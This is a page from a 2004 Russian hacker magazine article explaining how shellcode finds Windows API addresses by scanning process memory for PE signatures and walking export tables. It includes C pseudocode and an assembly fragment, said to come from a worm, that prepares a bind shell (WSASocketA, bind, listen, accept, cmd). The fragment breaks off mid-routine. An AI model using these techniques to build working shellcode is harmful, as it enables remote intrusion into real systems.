Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #45, АВГУСТ 2004 г.

Живучий код

Крис Касперски aka мыщъх

Спецвыпуск Xakep, номер #045, стр. 045-064-3


Демонстрирующий вызов произвольных функций

h = LoadLibraryA("ws2_32.DLL");

if (h != 0) __error__;

zzz = GetProcAddress(h, "connect");

Таким образом, задача вызова произвольной функции сводится к поиску адресов функций LoadLibraryA и GetProcAddress.

Артобстрел прямого поиска в памяти

Наиболее универсальный, переносимый и надежный способ определения адресов API-функций сводится к поиску в адресном пространстве процесса PE-сигнатуры нужного модуля с последующим разбором его таблицы экспорта.

Устанавливаем указатель на C0000000h (верхняя граница пользовательского пространства для Windows 2000 Advanced Server и Datacenter Server, запущенных с загрузочным параметром /3GB) или на 80000000h (верхняя граница пользовательского пространства всех остальных систем).

Проверяем доступность указателя вызовом функции IsBadReadPrt, экспортируемой KERNEL32.DLL, или устанавливаем свой обработчик структурных исключений для предотвращения краха системы. Если здесь лежит "MZ", увеличиваем указатель на 3Ch байта, извлекая двойное слово e_lfanew, содержащее смещение PE-сигнатуры. Если эта сигнатура действительно обнаруживается, базовый адрес загрузки динамического модуля найден и можно приступать к разбору таблицы экспорта, из которого требуется вытащить адреса функций LoadLibraryA и GetProcAddress (зная их, мы узнаем и все остальное). Если хотя бы одно из этих условий не выполняется, уменьшаем указатель на 10000h и все повторяем сначала (базовые адреса загрузки всегда кратны 10000h, поэтому этот прием вполне законен).

Псевдокод, осуществляющий поиск базовых адресов всех загруженных модулей по PE-сигнатуре

BYTE* pBaseAddress = (BYTE*) 0xС0000000; // верхняя граница для всех систем

while(pBaseAddress) // мотаем цикл от бобра до обеда

{

// проверка доступности адреса на чтение

if (!IsBadReadPtr(pBaseAddress, 2))

// это "MZ"?

if (*(WORD*)pBaseAddress == 0x5A4D)

// указатель на "PE" валиден?

if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C)), 4))

// а это "PE"?

if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C))) == 0x4550)

// приступаем к разбору таблицы импорта

if (n2k_simple_export_walker(pBaseAddress)) break;

// тестируем следующий 64 Кб блок памяти

pBaseAddress -= 0x10000;

}

Разбор таблицы экспорта осуществляется приблизительно так (пример выдран из червя BlackHat, полный исходный текст можно найти на сайте www.blackhat.com):

Ручной разбор таблицы экспорта

call here

db "GetProcAddress",0,"LoadLibraryA",0

db "CreateProcessA",0,"ExitProcess",0

db "ws2_32",0,"WSASocketA",0

db "bind",0,"listen",0,"accept",0

db "cmd",0

here:

pop edx

push edx

mov ebx,77F00000h

l1:

cmp dword ptr [ebx],905A4Dh ;/x90ZM

je l2

;db 74h,03h

dec ebx

jmp l1

l2:

mov esi,dword ptr [ebx+3Ch]

add esi,ebx

mov esi,dword ptr [esi+78h]

add esi,ebx

mov edi,dword ptr [esi+20h]

add edi,ebx

mov ecx,dword ptr [esi+14h]

push esi

xor eax,eax

l4:

push edi

push ecx

mov edi,dword ptr [edi]

add edi,ebx

mov esi,edx

xor ecx,ecx

;GetProcAddress

mov cl,0Eh

repe cmps

pop ecx

pop edi

Назад на стр. 045-064-2  Содержание  Вперед на стр. 045-064-4